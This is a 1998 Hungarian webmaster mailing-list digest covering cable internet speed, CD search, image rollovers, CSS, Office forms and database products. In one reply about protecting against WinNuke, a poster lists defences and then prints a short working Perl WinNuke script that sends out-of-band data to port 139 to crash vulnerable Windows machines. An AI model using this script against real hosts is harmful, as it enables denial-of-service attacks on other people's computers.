Hi!

	A tegnapi levelben elfelejtettem, hogy van mar Solarisos es
linuxos lejatszo is, igaz meg csak beta, de fog ez meg fejlodni...
(remelem)
	
	Hali,

--	
    Mojo
<=====================================
=-=====<work>-=
=-====<all>=-=
<=====================================

http://www.bln.de/yaro/macos  		

Levi

> a sebesseggel is vannak gondok (eddig a max. 5K/sec volt, de
> altalaban 1.4 szokott lenni) ez azert regen is ment modemen
> keresztul... (ezt  megkerdezem a TNVet-tol is...)

Nem kell megkerdezni. Magyarorszagi halozaton igertek max. 1 Mbit/sec
(128 Kbyte/sec) elerest. Ez az elmeleti max ertek, ha egyedul
Internetezel. Minel tobben hasznaljak, annal inkabb leszukul az egy
ember altal hasznalhato savszelesseg. Kepzeld el, milyen lehet a
sebesseg, ha _egyszerre_ 64-en kezdenek fajlokat letolteni (merthogy
eppen ez a korlatlan ideju, telefonszamla mentes hozzaferes lehetne a
haszna). :-(((

Janos

Hello!

> Felado :  [Hungary]
> 
> Szeretnek csinalni egy olyan CD-t, amelyen HTML file-ok vannak.
> A HTML file-ok kozott kene egy olyan oldal, amelyen ha beirok egy szoveget, a
kk
> or
> kikeresi, hogy a CD-n levo .HTML file-ok kozott hol van-e ilyen.

Ha jol ertem, sima file:// protokollal nezegetned a file-okat. Ez esetben
semmifele kliens-szerver kapcsolat nincs, tehat a keresogep megvalositasa
igy nem megy.

A tippem: Szerezd be az Altavista Personalt, par hete volt szo rola a
listan. Azzal fel tudod indexelni a CD tartalmat, es kesobb keresni benne.

> (Lehet, hogy hulye kerdes es most sokan nagyot rohogtok, de meg lehet ezt csi
na
> lni JavaScript-tel?)

Kliens oldali JavaScripttel biztosan nem.

udv,
-- 
Boca -=> http://winnie.obuda.kando.hu/~boca/ <=- Bo'cz Pe'ter

> Felado : Petrovay Szabolcs George, P.Eng
> 
> Kedves Andras! A WEBMESTER #582-ben ezt kerdezted:
> >Mit kell tegyek a HTML fileba, hogy az a funkcio mukodjon,
> >hogy amikor az egeret a kep fole toljak, akkor valami masik
> >kepre valtson.
> 
> Ez egy egyszeru kerdes, 2 megoldast adok.
> [...]
> Van egy ennel elegansabb megoldas is, ami semmifele scriptet
> nem hasznal, hanem dinamikus HTML-t. Ez gyorsabb is es
> rovidebb:

> Sajnos csak IE-ben mukodik, mert Netscape meg az uj bongeszojeben
> sem hajlando betartani a W3C konzorcium DOM szabvanyat.

1. Minek kell feleslegesen az ugymond uj szabvany szerint megoldani egy
olyan problemat, amit mar a 3-as Navigatorral is remekul meg lehetett? Van
egy rossz maju tippem: azert, mert akkor az IE volt az, aki sz*rt a
szabvanyra.
2. Ha hagysz a Netscape-nek egy kis idot, biztosan kovetni fogja a W3C
ajanlasokat es szabvanyokat, de te legalabb tudhatnad, hogy a fejleszteshez
ido kell.

udv,
-- 
Boca -=> http://winnie.obuda.kando.hu/~boca/ <=- Bo'cz Pe'ter

Van egy kis gondom !
Szeretnek az Office97 eszközein belül maradva urlapot kesziteni,
amin a tanulokat szepen szamonkerhetem. Teszem ezt azért, mert
maga a modszer nagyon erdekel.
Webes urlapot a worddel pl. nagyon egyszeruen csinalhatunk, csak
az adatbegyujtes modjat nem ertem es ezt a help-ben sem talaltam
meg, illetve ennyit csupan: 
"Mivel az űrlapoknak más, kiegészítő fájlokra és nagyobb
kiszolgáló-támogatásra
 van szükségük, az űrlap tervezésekor érdemes tanácsot kérni a hálózati
vagy a 
  Web rendszergazdával."
Ez utobbi kerem tisztelettel en volnek.
Hogyan tovabb ? Hogy lehet szert tenni ezekre a bizonyos kiegészítő 
fájlokra és nagyobb kiszolgáló-támogatásra ?
Winnt 4 + Exchange Server van.
Akos

> ez egy www alapu chat akarmicsoda... es a keteves
> www.internetto.hu/stb/presszo-s tapasztalat mondatja elem azt, hogy
> vamifelekeppen vissza kell fogni a sulinet-szintu usereket, akik arra
> izgulnak fol, hogy masok szorakozasat elrotjak, pl telenyomjak xmp-vel,
> szeretem.
> 

sandor

Hello!

Nezegettem mostanaban a 4.0-as HTML leirasat, ami megengedi a style/ok definial
asat. Lehet hasznalni 
CSS-eket. Azt hiszem lehet ezeket kulon fileban is tarolni, csak azt nem tudom,
 hogyan. Szoval valaki 
felvilagosithatna. Esetleg ha valaki a CSS-rol tud bovebb informaciokat, azt is
 megkoszonnem.

Udv,


                Hubidubi

Hi !

A multkori adatbazisrol szolo levelemben volt egy par pontatlan info.
Bocs. Amit igazan mondani akartam, hogy internetre (ha nincs tul nagy
adatbazis = tobb tizezer rekord), akkor en egy Perl (CGI) program
altal vezerelt flat file (ASCII) adatbazist ajanlok !

Dexter

>1.1 lehet-e vedekezni a WinNuke ellen (es egyebb nyalanksagok)?

Lehet:

1. Használj Linux operációs rendszert.
2. Használj Windows NT-t és rakd fellegalább a 3. service pack-ot.
3. Használj Window95-öt de ne használj netbeui-t ip felett.
4. Kérd meg a TVnet-et (hátha hajlandó), hogy a 139-es portot szűrje, és ne
engedjen át csomagot erre a portra.
5. Kérj meg mindenkit, hogy a következő kis Perl programot ne használják
ellened :-)

$addr=pack('S n a4 x8',2,139,(gethostbyname($ARGV[0]))[4]);
$proto=getprotobyname('tcp');socket(S,2,1,$proto) or die $!;
connect(S,$addr) or die $!;select S;$|=1;select STDOUT;
send S,'x',MSG_OOB;close S;

Péter

"Petrovay Szabolcs George, P.Eng" wrote:
> hasznalni. Nagyforgalmu uzleti alkalmazokra a MS SQL Serverjet
> hasznaljak Windows platformon, amelynek 7.0-as verzioja a 2 hettel
> ezelotti Las Vegasi Comdex shown az elso dijat vitte el, mint az 1998
 Erdekes, milyen kategoriaban? Legdragabb termek?
 Amugy jopofa volt az Oracle elnokenek a bejelentese, miszerinte aki
bemutatja, hogy az altaluk megadott funkciokkal/modszerrel merve az MS
SQL 7.0 csak KEVESEBB mint 100-szor lassabb az Oracle-nel, az viheti az
1 millio dollart.
 A masik egy millio $ azert jar, ha valaki publikal benchmarkot az MS
SQL 7.0-rol. A licensze ezt allitolag tiltja.
De igazabol nem tudom, hogy miert tiltja. Ha olyan jo az MS SQL 7.0,
akkor miert nem szabad lemerni (es publikalni) ??

 Amugy sajnos az Oracle is draga. Persze az o termekuk azert jo, es nem
csak Windows NT alatt fut...

-- 
 --- John Zero --- Xplicit~Line ---

 wrote:
> Lenne egy-ket kerdesem Hozzatok. Egy napja van TVNetem, es hat
> azota kicsit furcsabban viselkedik a gepem...
> 1. fix IP cimem van, amit ki tudnak hasznalni - lasd chat,
> WinNuke. Nincs valamilyen megoldas, hogy ne az "igazi" IP cimem
> lassak? (vagy ez mar valami "illegalis" dolog... :-) )
 Nincs. Ez lehetetlen, a routerek miatt is.
Azaz vannak megoldasok, de tul korulmenyesek...
 
> 1.1 lehet-e vedekezni a WinNuke ellen (es egyebb nyalanksagok)?
Igen.
 Felraksz Linuxot, vagy eloszedsz a polcrol egy 386-os v. 486-os gepet,
es felraksz ra Linuxot, mint firewall.

> 2. Netscape 4.5-t hasznalok, és eddig nem volt gondom vele, de a
> TVNet ota neha nem lehet az ablakot eloterbe hozni, vagy teljesen
> lefagy a Netscape.
 En ilyen gondot nem tapasztaltam a TVnetnel.

> 3. a sebesseggel is vannak gondok (eddig a max. 5K/sec volt, de
> altalaban 1.4 szokott lenni) ez azert regen is ment modemen
> keresztul... (ezt  megkerdezem a TNVet-tol is...)
 Viszont ejjel-nappal tolthetsz le ;-)
 Sajnos sok a user, es igy megoszlik a savszelesseg.

-- 
 --- John Zero --- Xplicit~Line ---

> Webmasterek, emberek figyelem! Igy nem szabad homepage-t csinalni!
>(Ez nem sertes akart lenni.)
>
> Feladat: soroljon fel legalabb 5 "hibat" a fenti oldalrol ;-)
>
>--
> --- John Zero --- Xplicit~Line ---
>

Kedves Webmesterek!

Nagy tiszteloje vagyok eddigi szakmai tanacsai alapjan John Zero "nevu"
webmesternek, de most helytelenitem kell a fenti cselekedetet. Ez a levlista
nem a kritikusok rovata, ide tanulni jovo leendo mesterek jarnak, akiket az
ilyenfajta beszolas elbatortalanit. Miert nem olvashattunk Petrovay, Verhas,
Boca, Eszpe, Lezli stb. - a sort folytathatnam - hasonlo mas lapjat
dehonesztalo es becsmerlo kritikat? Pedig ok igazan tudnak es megtehetnek
ezt. Szerintem mutassa be John Zero az altala keszitett lapokat, szolitson
fel mindannyiunkat legalabb 5 hiba megtalalasara, es talan ugy mint a
tobbiek, lepjen ki az anonimitasbol, mert igy csak Zero marad.

Mindenkit udvozolve:

Kerenyi Bela

Hali,

:

nekem ez egy kicsit magas... lecci fejtsd ki kicsit bovebben ezt a
$|=1-et
koszike

Tibyke

>Felado :  [Hungary]
>Temakor: TVNet es egyebek ( 32 sor )
>Idopont: Thu Dec  3 02:34:18 EST 1998 WEBMESTER #584

tudn____E____k !
:-/

Tibyke

>Felado :  [Hungary]
>Temakor: TVNet es egyebek ( 32 sor )
>Idopont: Thu Dec  3 02:34:18 EST 1998 WEBMESTER #584

szerintem a tv-net-tol ne is varj sokkal nagyobb sebesseget... :-)
128k-s kulfolddel.

mas:

ha egy szolgaltato szolgaltatasaval nem vagyok megelegedve, mert
huzamosabb ideig szarul es szart szolgaltat, akkor azt a
fogyasztovedelmi f.seg-en kivul meg hol jelezhetem ?
(van valami isp-s egyesules, de nemtom a nevit)

Tibyke